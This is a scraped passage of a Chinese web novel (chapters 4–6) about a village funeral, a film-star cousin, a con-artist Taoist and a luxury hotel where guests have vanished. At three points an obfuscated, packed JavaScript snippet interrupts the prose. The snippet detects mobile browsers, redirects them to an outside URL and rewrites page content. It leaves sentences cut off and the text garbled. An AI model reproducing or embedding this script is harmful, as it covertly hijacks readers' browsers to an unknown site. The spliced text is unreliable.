和尚们在院子里打坐诵经,几个男人拿着长长的洋钉,他们钉棺材的南头,村长就喊一声:“你朝北躲呀!”他们钉棺材的北头,村长就喊一声:“你朝南躲呀!” 钉棺后,月修寺的和尚要引导庄辰星的同辈在棺材周围绕行三圈,此时棺材头部已经翘起,庄辰岚连忙跑过去。 她刚刚离开,旁边的一个小女孩就指着棺材,用稚嫩的童声问道:“妈妈,那里面为什么要装土啊。” 旁边的中年女人把小女孩指着棺材的手摁下去:“去去去,别瞎说,里面装的是你哥。” 站在母女旁边的老人道:“你闺女说的对,人死了,可不就成土了。” 庄辰岚他们绕行三圈过后便开始正式送葬,一人把先前灵堂里祭奠烧纸用的瓦盆高高举起后摔碎,盆一摔碎,扛夫即刻起杠。 一路黄纸白钱纷飞,飞过梦蝶楼,飞过观鱼台,飞过逍遥堂,唢呐锣鼓演奏的哀乐与哭声混杂,被园子中间的湖水传播开后更显凄凉。 庄辰岚想起自己曾经的工作单位,那里虽然没有唢呐与锣鼓,却有无数亡魂无助的呜咽。 庄家的家族墓地是村庄之后,两山之间的一块山谷平地,平地中央长着一棵大槐树,树干有三人合抱粗,春夏时,树叶郁郁葱葱,遮天蔽日,秋天时,树叶落下,却有一大群蝴蝶不知从何处飞来,掠过山谷,又不知何去,成为远近闻名的盛景。 人们说这些蝴蝶就是落下的树叶变成的,因此便把它叫做“蝴蝶树”,而两边的小山,也因此被称为“茧山”,意为“破茧成蝶”——将小山的茧从中劈开,化为蝴蝶的树。 庄辰星的墓地就被选在蝴蝶树旁。 村民们站在树下,惋惜着年轻灵魂的消逝。 庄辰岚看着白色与黄色的纸钱打着转往上飞,挂到蝴蝶树的枝丫上,挡住一队蚂蚁的去路。 很久以后,庄辰岚会在满目的风雪中多次回想起这场葬礼,它是一个开端,昭示着家族悲剧已然揭开序幕,也是一个丧钟,为他们所有人而鸣响。 4. 周以 葬礼结束后要在祠堂摆放牌位。 庄辰岚和庄海月来到祠堂门口,程天玑已经在此等候了,他跟昨晚一样,戴着帽子和口罩,捂得严严实实。 程天玑看着逍遥堂两侧柱子上的对联:“参万古南华,顺事冥情看后胤,谁能解悟。酌一勺秋水,养生齐物步先贤,我更逍遥”。 看到两人,他小跑过来:“我刚在园子里逛了一圈,观鱼台,梦蝶楼还有濠梁桥也都看了,太美了,跟其他古村落完全不一样的美,还有还有,我最喜欢梦蝶楼上的那副对联——濠上观鱼非鱼非我,梦中化蝶亦蝶亦周。啊,真羡慕你们能一直住在这里。” 庄海月道:“等游客吵得你休息不好就老实了。” 祠堂此时已经到了不少人,庄海月刚迈进去一条腿,就突然指向前方喊道:“卧槽,是栓子!” 程天玑朝庄海月手指的方向看去,也惊叫出声,想起自己还在别人家祠堂里,他连忙捂住嘴巴压低声音:“周以!那个是周以吗?!” 庄海月拍了拍他的肩膀:“哈哈,你运气还是可以的。” 所谓栓子者,辰岚海月之族兄弟也,当红明星也,乳名栓子,原名庄辰贵,艺名周以。其人姿容如玉,如琢如磨,静时若披仙山烟雾,动时恰似瑶树临风,垂眸颤睫时,应惭卫子,实愧潘郎。 跟他一比,相貌与气质已属上层的程天玑也不免相形见绌。 “栓子?海月姐,你说的是周以吗?” “对啊,这他小名儿。” 周以出生时,算命先生说他相貌太好以至于命薄,需要起个敦实名字相冲,既然要以“辰”字为辈,那就叫庄辰贵吧,既能压命,也喻富贵守禄。夫妻俩被这老头儿吓得不轻,尤嫌这名字不够敦实,生怕它拴不住周以的小命,所幸直接起了个栓子的小名。 庄辰岚道:“你还是不要叫最好,周以一听这名字就烦。” 程天玑道:“因为相貌太好就要起个不好听的名字吗?还是第一次听说。” 但也因为这副相貌,周以高中辍学在麦当劳打工时被星探发掘,两年前凭电影《生楼》中的胡楼生一角一炮而红,成为最年轻的影帝,国内外各种奖项拿到手软,时至今日仍然春风得意,风光无两。 庄海月从小就喜欢逗漂亮男孩,此时灯下看美人更是旧病复发,连忙上前搭话。 庄海月道:“嗨,嗨!栓子!” 周以抬头看见是她,皱了皱眉:“能不能别这么叫我。” “对不起啊周以,好久不见喊小名就想显得亲切一点嘛——你看,岚岚也在,要是我妹也回来就好了。” “岚也回来了?在哪?”周以顿时打起精神,探着身子寻找庄辰岚的身影。 待看到祠堂门口的庄辰岚,周以小跑过去,他道:“年良叔没抱着你哭吧?” “哭了。” 周以无奈地笑道:“他见到我时也这样。” 程天玑激动得脸都红了,他冲到周以身边拿出笔记本:“以哥,能给我签个名吗?” 周以被这个裹得严严实实的人吓了一跳,还以为是哪个疯狂的粉丝,庄海月替他解释后,周以拿过笔在本子上龙飞凤舞地签上了自己的名字。 程天玑颤抖着手接过本子:“以哥,没想到你也住在南华村,网上都说你是匪石传媒家的少爷呢。” 周以嘴角抽了抽:“都是谣言。” 庄海月道:“对啊,都是谣言!小程你是他粉丝居然不知道他原名?他原名叫…” 周以服了:“庄海月我求求你少说两句。” 庄海月一点儿没有愧疚的意思:“好好好我不说名字了,我说周以你演的那个角色太好了,疯狂艺术家啊这人设我特别喜欢,叫楼,楼什么来着。” 程天玑连忙道:“叫胡楼生!这个电影我在电影院看了五遍,线下又看了好几遍,老师还在电影课上放过,我们班同学都最喜欢胡楼生,要是他们知道我跟本人见过面肯定会羡慕死——以哥,有时间能跟我合个影吗?” 庄海月道:“他可不是胡楼生本人,角色和演员还是要分开的。” 庄辰岚道:“你还说人家呢,你自己特别喜欢还记不住人名字?” 庄海月被拆穿也不害臊:“唉我不擅长记名字,名字嘛,代号而已,我记住的是他们的内在,内在你懂吗。这个角色应该特别抢手吧,话说周以你当时这么糊是怎么接到这个角色的?” 庄辰岚道:“周以有过很糊的时候吗?” 庄海月道:“你是不知道,他在男团搞唱跳的时候简直糊到爆!哎,你知道吗,你跳舞跟面条儿似的。” “能不能别说了。”周以道。 “所以以哥是怎么选上胡楼生的啊?”程天玑说完,似乎觉得自己有些唐突了,“对不起以哥是我冒昧了!但我真的很喜欢这个电影,所以很想知道一些幕后的事。” 庄海月道:“你不用这么拘谨啦,以哥他脾气很好的哈哈哈。” 周以道:“怎么选上的我也不知道,真的,我也一直在问老板。” 庄辰岚道:“他怎么说?” “他说:‘你就当是祖坟冒青烟了吧。’” 庄海月道:“这么敷衍?” 庄辰岚道:“老板只是被你问烦了吧。” “是吗?”周以道:“早知道我就不天天去厕所堵他了——对了庄海月,你怎么从京华休学了,跟不上学习?” “你简直是对我智商的侮辱”,庄海月怒了,“太无聊罢了,再说我考上就要去吗,谁规定的?考京华只是用世俗的成功换取本人的自由罢了。” “听不懂。岚帮我翻译下。” 庄辰岚道:“意思就是她是个脑残。” 庄海月踢了她小腿一脚,然后凑近周以的脸微笑道:“没事,听不懂没关系,你只需要负责美美的就可以。” 这时,庄辰岚看到万村长正在安放庄辰星的牌位,便示意几人暂时不要说话。 香烟直上,罗浮真君低垂的眉眼在其中若隐若现,整个祠堂都弥漫着香火的味道。 程天玑道:“好大的神像,我从来没见过这么大的罗浮真君像。” 罗浮真君是国内常见的掌管梦境的神祇,传说庄子梦中的那只蝴蝶就是她的化身,因此常见的罗浮真君形象背后都有蝶翅形状的数双手臂,每个手掌中有一只眼睛,寓意神明无所不见,洞察世间万物。 庄海月道:“南华村住民是庄子后代,我们世代供奉曾入祖先之梦并带来天启的罗浮真君,传说真君被村民的诚心感动,曾在南华显灵,跨越千年,再次给南华仙人的后代带来祝福。我们也按照真君显灵时的形象新造了一尊彩绘塑像,供奉在家族祠堂的正中央。” 庄辰岚道:“下血本了啊庄海月,为了当讲解没少恶补吧。” “去去去,我恶补个屁,住在村里天天听老人讲,我不想听都不行。还有别光我说,庄辰岚,把你知道的也统统交待了,别让小程同学白跑一趟。” 庄辰岚想了想道:“我小时候听万村长说,罗浮真君显灵时,还将那时的村长,也就是第三代的儒村长选为自己的神使,传授给她各种知识,给村民祈福免灾,与此同时,她也制定了各种律法,据说只要遵守这些律法,不仅能得到真君的庇佑,死后还有机会得道成仙。” 程天玑道:“那村长在这里肯定有很大的权威吧。” “权威算不上,毕竟现在人人平等,但对我们来说,村长比起行政人员,更像是一个祭司,村里的婚礼葬礼和节日庆典都是她主持,有时也会给新生儿取名。” 庄海月道:“说起新生儿,我突然想到村里的一个习俗,小程你肯定没听过,在我们这里,新生儿出生就要选墓地的。” 程天玑果然吃了一惊:“为什么?!不会觉得不吉利吗?” 庄辰岚道:“死亡与新生一体两面,没有绝对的死亡,又何谈不吉利。” 程天玑又问:“那选墓地是怎么选?抽签吗?” 庄海月道:“这个我没见过,据说是烧香?” 庄辰岚道:“没错,是烧香,小时候我见过一次。那时候村长在真君像前插了一大柱香,明明同一时刻点着,燃烧后却长短不一,中间短,四周长,外围的香还边烧边向中间弯曲,村长能从香的燃烧形状确定墓地方位。” 庄海月道:“反正翻来覆去都是埋茧山中间那块儿地里,埋东边还是埋西边有什么差别。” 程天玑如获至宝,在笔记本上飞快的记录。 记完后,他环顾这间祠堂,只见庄家家族牌位从上到下共八排,因为太高,两边还修了楼梯,真君端坐中央,牌位平均分布在塑像的两侧,宛如她的翅膀。 每一排供桌上都有一个字,自上而下依次是:福,盛,儒,孟,万,年,辰,孔。 程天玑念了几遍,不知道它们的意思。 庄海月笑道:“别猜了,这是我们按辈分取名的字,比如我跟庄辰岚是第七代,名字中间是“辰”字,而我们的父母是第六代,名字中间是“年”字。” 程天玑道:“哦我明白了,刚才你们说的万村长,儒村长,也是说的中间的字吧。” “孺子可…” “但是海月姐你怎么不用“辰”字取名?每个辈分该取什么字也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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庄海月道:“大明星好忙呀,上午连出殡都没有来,这会儿又早早的走了。” “抱歉。” 庄海月笑道:“跟我道什么歉,开个玩笑而已,你也是身不由己嘛。” 程天玑整张脸上只露出一双眼睛,却依旧能看出浓烈的不舍,他跟在周以后面:“以哥,还能再见面吗?” 庄海月拉住他的后领:“给我回来,你是来研究民俗的还是来追星的。” 然而庄辰岚的手机却显示周以发来的消息: “岚,能不能单独来茧山,老地方。” 庄辰岚把手机放回兜里:“我去上个厕所。” 从祠堂出去后庄辰岚才发现天已经暗了,她沿着石阶爬上茧山,周以已经在此等候了。 “单独找我有什么事?” 周以坐在崖边,双脚悬空,笑道:“没事就不能找你吗,只是好久不见,想跟你说说话。” 庄辰岚也顺势挨着他坐下来,晚风卷起两人的头发。 周以道:“我收到消息就立刻来了,可惜还是没赶上。” “没关系,星不会怪你的。” “但是他怎么可能会自杀呢?我想不通。你知道吗?” “不知道,”庄辰岚道:“而且这种事也不方便问。” 周以平日里就常常皱着眉头,此时的表情更为落寞,庄辰岚缓和气氛道:“我还以为你又要给我讲电影故事呢。” 周以沉默片刻,开口道:“岚觉得电影里的故事是真的吗,换句话说,你觉得电影里的世界和人物真实存在吗?” 庄辰岚怀疑自己听错了:“小学生都知道是假的吧——你认真的?为什么突然这么说?” 周以愣了一下,然后道:“当然不是认真的,我开个玩笑。” 他道:“我一会儿真的要走了,本来说好一起去漩涡的。” 漩涡是南华村附近的一家老式西餐店,物美价廉。 庄辰岚道:“没关系,快过年了,放假回来再去。” 周以的声音轻快起来:“你说的对,新年一起去,就像我们小时候……那样。” 说到“小时候”的时候,周以明显卡壳了,两人对此的原因都心知肚明——他们再也不会像小时候那样了,因为以前都是和庄辰星三人一起的,而现在他已经死了。 周以微不可察地叹了口气,站起身来:“一起下山吗?” “不了,这儿的风吹的挺舒服的,我再坐会儿。” 庄辰岚由上往下欣赏山谷间的风景,蝴蝶树下,纸钱堆积出的雪白格外显眼。 突然,不知何年的记忆毫无征兆地涌入庄辰岚的脑海,那是穿着白衬衫的庄辰星站在蝴蝶树下朝自己微笑的画面。 庄辰岚心底再次涌起一股酸涩的悲伤。 亲人的离世对一个人来说不是猛烈的斩首,而是细细密密的凌迟,你永远不知道他会在什么时候进入你的脑海,并让你真切感受到他已经不在的事实。 就在这时,一只手从后面拍了拍她的肩膀。 5. 方不圆 庄辰岚吓了一跳,她回头一看,只见庄海月手里夹着根烟站在她身后。 山风呼呼,庄海月的蓝莓双爆点了又灭,好不容易再次点着,就被庄辰岚用手指捏灭: “说很多遍了,别在我面前吸烟。” 庄海月咬着烟嘴:“小程跑去追周以了,又当导游又当讲解员又带他见偶像,我是不是得收他点儿钱啊。” 庄辰岚道:“别忘了请我吃饭。” “我记着呢。”庄海月撅着嘴,“还不是看他长得像星星,要不然我才不干,别说是我同学弟弟了,就算是我导师他爹我都不带。” “那你可真有原则。” 庄海月环视四周:“栓子呢?” “你没碰见他?他刚下山你就上来了。” 庄海月咂咂嘴:“跟美人没有缘分。” “可能是在躲你,你找他有事?” 庄海月道:“没什么大事,就是前几天看到一娱乐圈的瓜,想找栓子八卦一下。” “什么瓜?” “有个帖子说国内一个很有名的演员精神有问题,这帖子还挺火的,下面有不少人跟帖,我想问问栓子知不知道点内幕。” “叮铃铃,叮铃铃......” 一阵电话铃声打断了二人对话。 庄辰岚点击通话,一个爽朗的女声传来: “小岚啊,听你婶儿说你回村啦?” 庄辰岚把手机音量调小:“嗯,回来了,方姐你有什么事吗?” 对面道:“这不快过年了,光台的一个老板请我去他家酒店开坛做法去去旧气。老大的酒店了,给的钱可不少,你明天跟我去一趟,事成酬金跟以前一样,你三我七。” “明天几点?” “先别急啊,咱俩一会儿先去菜市场买点朱砂和黑豆,到时候我详细跟你说,等下你有空吧?” 庄辰岚回了句过会儿见就挂断了电话。 她站起身,拍了拍裤子上的灰尘,庄海月道:“怎么我一来你们就都要走啊?” “还不是因为你的烟味太讨厌了。” “放屁,我好久没抽过了。” “啊,真是乖宝宝。”庄辰岚道,“其实是我突然有点事。” “那还回来吃饭吗?” “什么?” “不是让我请你吃饭吗?” “饭不用请了,”庄辰岚道,“再借我点钱。” —— 二人在电话里所说的菜市场就是庄辰岚的外公和母亲以前出摊卖猪肉的地方,在年轻人普遍去超市买菜的情况下,它因为爷爷奶奶们的青睐而依然保有留身之地。 这里店铺很少,大家都是直接在地上铺个尼龙布,摆上菜就卖。菜市场最多的交通工具是自行车,脚蹬三轮和老头乐,过道虽不算窄,但进来的轿车也只怕是有来无回,造成堵塞,被大爷和大婶们鄙视。 庄辰岚刚到菜市场门口,一个娃娃脸的女人就隔着大老远叫她:“小岚!这里这里!” 等她走过去,女人惊讶道:“天呐,我感觉你又长高了,你有一米八没” “没有。”庄辰岚道,“方姐,你先说说明天的事吧。” 方姐有个有趣的名字——方不圆,是个江湖骗子,她对外宣称自己是龙虎山的道士,给人捉妖除鬼做法事,演得得心应手,骗得心安理得,而且这人不知哪来的绝世好运气,碰上的都是假货,一路顺风顺水,唯一一次遇到真家伙马上折在那里时,又偶遇路过的庄辰岚,从此抱紧大佬大腿。 方不圆激动道:“你绝对想不到请我去的是哪个酒店,直接告诉你吧——长生殿!太高端了,太奢侈了,太华丽了,要赚翻了!” 长生殿是国内顶奢酒店品牌,首创古典楼阁与现代大厦的完美结合,据说其方不圆几百米内都能闻到一股芳气笼人的酒香。 庄辰岚稍微有点理解她为什么会这么激动了。 与此同时,庄辰岚质疑道:“他们怎么会请你?” 虽说她并不是专业道士,但成为生无常后多少也在玄学行业有所涉猎,深知越有钱有权的人越迷信,像长生殿这种级别的酒店,应该有业内最顶级的人负责,怎么会轮到方不圆这个江湖骗子? 方不圆道:“士别三日当刮目相看,你姐我今年走了大运,拜了个师父,现在跟着我师父混。” “你师父?老骗子?” “什么老骗子!我师父是正儿八经的术士,圈内大佬,天纵奇才!她解卦可厉害了,有慕名来找的人,他们以前发生了啥,以后要发生啥,她都一清二楚,比当事人还门儿清。” 方不圆继续道:“回归正题,本来呢,酒店请的是她老人家,但是我师父要把这件事给我当考试,就算不合格酬金也照样给我,师父啊,打着灯笼都找不到的好师父啊。” “那你找我干什么,帮你作弊?” “什么作弊,说那么难听,我只是不想让我师父失望好吧。你不知道,长生殿的老板,他也信罗浮真君,这次请神就是请她老人家,你看,这不就跟你专业对口了,所以请您来指导指导。” 庄辰岚感觉这人对庄家有天大的误解:“专业对口什么,我不会。” “不会就不会,那就给我当助手,”方不圆道,“我下血本了,这次分你一半。” 庄辰岚问:“他们打算给多少?” 方不圆伸出两个手指头。 “两千?” “两万!” 庄辰岚吃了一惊,这已经远超市价了,事出反常必有妖,她道:“这事儿肯定没那么简单。” “哎呀,就是这么简单,你想太多。” 庄辰岚突然停下脚步:“你肯定有事瞒着我。” 方不圆拽她继续走:“哎呀没有没有。” 庄辰岚道:“以前开坛祈福这种没有生命危险的事你从来不叫我,只有给人驱鬼的时候才会喊我给你当保镖,这次怎么一反常态,酬金还舍得分我一半?” 方不圆挠了挠脸:“你还挺厉害的,那我告诉你,你可要保密,我签了保密协议的——这酒店有客人失踪了,而且不止一个。” 庄辰岚惊道:“连续失踪?” “这个我也不知道,据说人到现在都没找到,”方不圆压低声音,“警察监控看了好几轮,发现消失的那些人根本就没出过酒店,有的进了房间后就消失了,有的出了电梯就没了影,警察和警犬翻遍整个酒店,就是活不见人死不见尸。家属来闹过,但这酒店最不差的就是钱,巨额赔偿到位,最后都和解了,警察也只好结案。” 方不圆喝了口水:“这长生殿的老板叫唐金麟,不仅开酒店,还是光台罗浮教的教主,本来就迷信,他觉得这件事是自己身为教主不够虔诚,导致罗浮真君生气了,更离谱的是,他觉得失踪的那几个人就是神仙派下来让自己破财的,所以才请我师父去做法祭祀。” 庄辰岚道:“他这个说法还挺能自圆其说的,不过这么大的事,怎么网上一点儿消息都没有?” “不是说了吗,钱到位了,什么事儿都好办,”方不圆道,“这酒店公关一流,别说网上了,光台本地人都不知道。” 被家属和社会放弃的倒霉蛋们啊,庄辰岚稍微同情了他们一秒。 “是小岚吗?” 一个年迈的声音突然从背后传来,庄辰岚转头一看,居然是以前在她家隔壁卖内脏和下水的老张,小时候庄辰岚没少受他照顾。 她这才发现原来自己已经走到了以前摆摊的地方,虽然他们的摊位换了人,但周围的景象却一如童年。 她打了个招呼:“张爷爷。” 老张带上老花镜,吃惊道:“真是小岚啊。” 他把庄辰岚从头打量到脚,又从脚打量到头:“真的完全好了,看不出来一点儿。” 他说的是庄辰岚的腿。 小时候她的腿发育不良,一长一短,走起路一瘸一拐,大家只当她年龄太小不会走路,幸亏母亲发现不对,及时去医院做了手术。 庄辰岚道:“医生说幸亏发现得及时,手术和恢复都很成功。” 老张惊讶道:“这种都能治好啊,现在的医院真厉害,什么病都能治,好啊,好啊……”他似是在喃喃自语,老人都是这样。 突然,他像是想到什么,拿起一个塑料袋递给庄辰岚:“这是我儿子给邮过来的,说是什么鳄鱼肉,俺也不懂,给你拿着,补补。” 庄辰岚连忙摆手拒绝:“您留着给孙子吃吧。” 老张直接从摊里出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977872|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,拿着肉往庄辰岚怀里塞:“拿着拿着,好闺女,家里老多了,俺孙子说这个好吃,你回去尝尝。” 庄辰岚推脱不掉,只得收下。 他又不知从哪拿出一个田字格本:“俺看不懂字,俺儿说这是你写的,这也不知道猴年马月的东西了,你看看你还记得不。” 庄辰岚疑惑地接过那个小小的本子,纸页又皱又脆,封面钢笔写的“庄辰岚”三字已经褪成了浅蓝色,翻开一看,竟然是自己小时候写的日记: “…… 每天清晨,姥爷和妈妈都会把新鲜的猪肉抬上三轮车,然后再把一个个肉架摆上,一排排铁钩挂上,最后车上就像长了一片铁树林。 姥爷专门给我做了一个木箱子,里面铺着妈妈给我缝的棉褥,她抱着我进去,再盖上厚厚的小棉被,暖烘烘的,舒服极了。 姥爷把车开起来,肉架上的铁钩就碰得叮当响,像我在电视上见过的一种乐器,叫编钟。 三轮车颠簸起来,就像坐摇摇椅,那“编钟”唱的就是:“妈妈的老公是爸爸,妈妈的爸爸是姥爷……” 妈妈坐在我旁边的小马扎上,伸过手来揶我的被子,她的手油乎乎的,有生猪肉的香味。 妈妈的头发又多又亮,卷卷的,是我见过最漂亮的头发,妈妈说我长大后也会有这么漂亮的头发。 等到了菜市场,我就在摊里坐着,挂在铁钩上的猪肉就像红色的帘子,把我遮得严严实实。 妈妈笑着问我:“宝贝,你饿不饿呀?” 她把我交给张爷爷,就去买饭了,妈妈有时候会给我带一罐冰可乐,我最喜欢冰可乐了。 ……” 恍如隔世。 庄辰岚收起本子:“谢谢你张爷爷,这个我就带走了。” 老张道:“走吧走吧,孩子,没事儿常来啊。” 告别张爷爷,方不圆隔着塑料袋捏了捏那些肉:“真的假的,鳄鱼肉?能吃吗?不犯法吧?” 庄辰岚把塑料袋塞到方不圆手里:“我不敢吃,给你了。” 方不圆甩手道:“我才不要,不知道是哪来的死狗死猫的肉。” 正说着,前面传来一阵骚动,方不圆素来爱看热闹,拉着庄辰岚就往前跑。 这里已经围成一个圈,庄辰岚凭借身高优势,看见了引起骚动的主角——一个脏兮兮的和尚。 这和尚疯疯癫癫,时而大哭,时而大笑:“…梦短梦长俱是梦,年来年去是何年…” 许多人笑嘻嘻地拿出手机录像,周围议论纷纷: “这是前面月修寺的?” “这和尚是疯了吧?” “什么疯了,这叫走火入魔。” “修的什么啊,把自己修精神病院去了——哎呦往这边看呢,快走快走。” 方不圆翻了个白眼:“我还以为是什么呢,一个疯和尚有什么好看的。” 被围在中间的和尚似乎一点没受到周围影响,正拿着一条柳枝给自己瘙痒。 庄辰岚跟他对上眼,这和尚竟是一怔,然后就眉毛一挤,嘴一瘪,哭着朝她跑来,一边跑一边喊:“吾终寻得汝矣!” 周围的人看他像要发疯,纷纷四散而跑,趁此机会,和尚紧紧抓住庄辰岚的胳膊:“你还认得我吗?一百年前,十年前,我们都见过!” 庄辰岚道:“那时候我还没出生” 方不圆拽她另一条胳膊:“你跟这疯子废什么话,别给他讹上。” 和尚喊道:“不能跟她走!汝速速归家,方可安度余生!” 方不圆骂他:“你在我面前算命?老娘玩算命的时候你还在庙里刷茅坑呢,你个臭和尚对人姑娘拉拉扯扯,要不要脸!” 他俩拔萝卜似的拉着庄辰岚,一个疯和尚,一个假道士,两人你一句我一句,有来有往,势均力敌,庄辰岚的反抗声就这样被淹没了。 既然说话没用,庄辰岚使了个巧劲,迅速把胳膊抽回来,两人皆是一个踉跄。 庄辰岚朝方不圆抬抬下巴:“走了。” 和尚站在原地,怔了一会儿,然后大喊道:“从今往后再也别出那园子!” 这句话像是用了他所有力气,但是风太大了,人太杂了,再响亮的话还没到人耳朵里就散了。 6. 长生殿1 第二天一早,庄辰岚和方不圆就驱车前往光台市长生殿。 方不圆一边开车一边喋喋不休,庄辰岚打开车载电视,屏幕上出现了一个带着黑色卡通猫头套的人。 方不圆激动道:“啊!是black neko,我的偶像啊!” 庄辰岚也知道black neko,这是近年声名大噪的天才名侦探,处理过无数棘手案件。 他最初崭露头角是在一年半前轰动社会的五行连环杀人案中,这起案件的杀人手法残忍诡异,吸引了无数民间侦探和阴谋论者,网民都猜测它跟某些邪术或邪神有关。 警察调查数月束手无策,而black neko仅仅只花了三天就将之全部破解,他将推理结果发布在社交网络上,顿时一石激起千层浪。 此后,他又在社交媒体上推理出了多个重大刑事案件,甚至还破获了许多经年未解的诡异悬案,再次引爆互联网,一跃成为顶流中的顶流。 随着black neko受到的关注度越来越高,他的账号也被封锁,再次出现时,他已被相关机构招安。 也许是不想暴露真实身份,black neko出镜时总是带着一个黑色卡通猫头套,他的声音也经过处理,分不清是男是女,但人们对他的兴趣反而只增不减。 网上对他真实身份的猜测浩如烟海,甚至有传言说他根本不是人类,但无一例外全都是毫无根据的主观臆断。 方不圆道:“你有没有发现black neko只对一些涉及神秘学的犯罪感兴趣?” “确实如此,”庄辰岚道,“据说他被招安前就掌握了警方内部的机密资料,所以账号才会被封,大家都觉得他是黑客,起码肯定会黑客技术。” “那可比黑客技术难多了。” 方不圆神秘兮兮道:“告诉你一个独家机密,听我师父说,black neko也是玄学圈的人,他解那些案子靠的不是推理,而是术数。” 庄辰岚质疑道:“只靠术数怎么可能做到这种程度?” 方不圆道:“我师父说了,术数能做到的远不止于此,只是现在的人都太菜了,难以想象术数的真正威力,如果black neko真的是靠术数破案,那他的技术已经是开挂级别的了,说是世界第一也不为过。” “哦。” “你这反应也太冷淡了吧,一点都不像年轻人,你都不好奇的吗?” “对这方面没兴趣。” “你这孩子,”方不圆道:“那再给你讲个故事,长生殿有个传说还挺有意思的,你知道吗?” 庄辰岚把胳膊撑在车窗上,百无聊赖地回道:“什么传说?” 方不圆道:“听我跟你讲,传说啊……” 传说,长生殿在民国军阀混战时期是一家名叫八仙饭店的酒楼,某天,有一征战多年、权势滔天的军阀回乡时路过此地,便在此一边享受佳肴,一边欣赏歌舞。 眼下是温香软玉,眼前是荣归故里,人间之极乐不过如此。 就在军阀心驰神荡之时,突然枪声四起,炸弹连连,敌方军队埋伏在此,发起了猛烈攻击——他最信任的副官倒戈背叛了。 来不及愤怒,军阀立即将八仙饭店当做指挥部开始指挥作战。他一心归乡,于是奋力抵抗,然而自己的军队仍旧节节惨败。 眼看大势已去,军阀不愿生擒受辱,于是放火自焚。 刚才的花柳繁华如梦一般随烟散去,转瞬之间死亡已经到来,军阀悲愤万分,没想到上天如此作弄自己,竟让自己死在离故乡一步之遥的地方。 然而令所有人没想到的是,原本晴朗的天空突然乌云密布,伴随猛烈的暴雨,整个大地剧烈摇晃起来,只有八仙饭店岿然不动。 雨水浇灭了自焚的大火,地震使敌人死伤惨重,电光火石间,局势异变。 军阀短短几个时辰内经历大起大落,顿感世事无常,人生如梦,竟即刻遣散军队,放弃归乡,看破红尘,打算出家了。 就在此时,一个得道高人翩然而至,军阀便随道人羽化成仙了。 酒楼老板目睹了整个过程,为了纪念这件事,他将“八仙饭店”改名为“九尊饭店”,从此这栋楼仿佛真的得到了神仙的庇佑,用来做医院时,里面的病人都能药到病除,用来做学校时,里面的学生都能金榜题名,用来做生意时,老板都能赚的盆满钵满...... 庄辰岚道:“只知道他们酒店公关不错,没想到营销更胜一筹。” “你这就冤枉人家了,”方不圆道,“这不是营销,是光台的地方传说,不是所有地方都有一两个本地人才知道的那种地方传说吗,用来增强家乡荣誉感。” “做军阀和做神仙哪个更好?” 方不圆被这没头没脑的问题弄得怔了一下,随即答道:“这还用问?那当然是做神仙了,长生不老,自由自在。” 忽地,一个声音出现在庄辰岚的脑海。 “安稳的重复和迷茫的自由,你选哪一个?” 那是林听的声音,她在大学时唯一的朋友。两人经常一起呆在湖边的亭子里,有时候画画,有时候读书,有时候什么也不做。 林听正在翻阅一本书,她道:“这里有一个测试,安稳的重复和迷茫的自由,你选哪一个?” 庄辰岚头也不抬:“我选安稳的自由。” “不愧是你,”林听笑道:“不过就连迷茫的自由对于我们来说也过于奢侈了。” “有时候我会想,我们不敢挂科,不敢延毕,不敢去做自己喜欢的事情,不敢这样,不敢那样,究竟是在害怕什么呢?按照主流的路线走下去,结果一定就比自己选的旁门左道更好吗?” 庄辰岚道:“在主流道路上失败,可以把原因归咎于社会父母和其他很多东西,在自找的旁门左道上失败,那就只能自己承担后果了,大家怕的,大概就是这个无法承担的后果吧。” “嗯......有道理。” “不过,”林听笑道,“安稳的自由,我相信如果是你的话,肯定能做到。” 庄辰岚眨眨眼:“为什么这么说?” “保密啦保密。” 林听说时机到自己会告诉她的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977873|177889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但直到今天,庄辰岚也不知道她说这话的依据是什么,而且今后也再没机会知道了。 车窗外的树木不断向后,庄辰岚也不知道为什么自己会突然想起这个片段。 方不圆在她面前打了个响指:“愣着干什么呢?还不下车。” 庄辰岚这才发现车已经开到酒店了。 她承认,即使对这个酒店的初印象并不好,她也还是被眼前的建筑惊呆了: 长生殿金碧辉煌,前面是广阔的花园和巨大的雕塑喷泉,后面是宛如大海的泳池和人造沙滩。酒店主楼高不见顶,直插云霄,巍峨不失华美,庄重不失情调,几座副楼亦是似通若耶,若接天台。 庄辰岚高度评价其兼具南天门的神圣和鬼市的堂皇。 二人进入酒店,里面竟然还有室内瀑布与湖上回廊,叫人分不清这到底是酒店大厅还是户外园林。 百段阶梯的尽头是一尊白玉罗浮像,甚至比庄家祠堂的彩绘塑像还要高大。从楼顶垂下的木雕吊灯一层一层莲花般绽开,精致过头,竟带了一丝鬼气。 方不圆的头转得像猫头鹰,一边走一边啧啧称奇:“我算知道为啥叫长生殿了,谁住这儿不觉得自己是神仙啊。” 一个男人前来接待她们,他自称唐金麟的秘书,穿着板正的高定西装,带着银丝单边眼镜,头发一丝不苟地梳到后面,不像秘书,倒像动漫里的城堡执事。 男人面露疑惑:“二位都是道长吗,我记得老板只请了一位啊?” 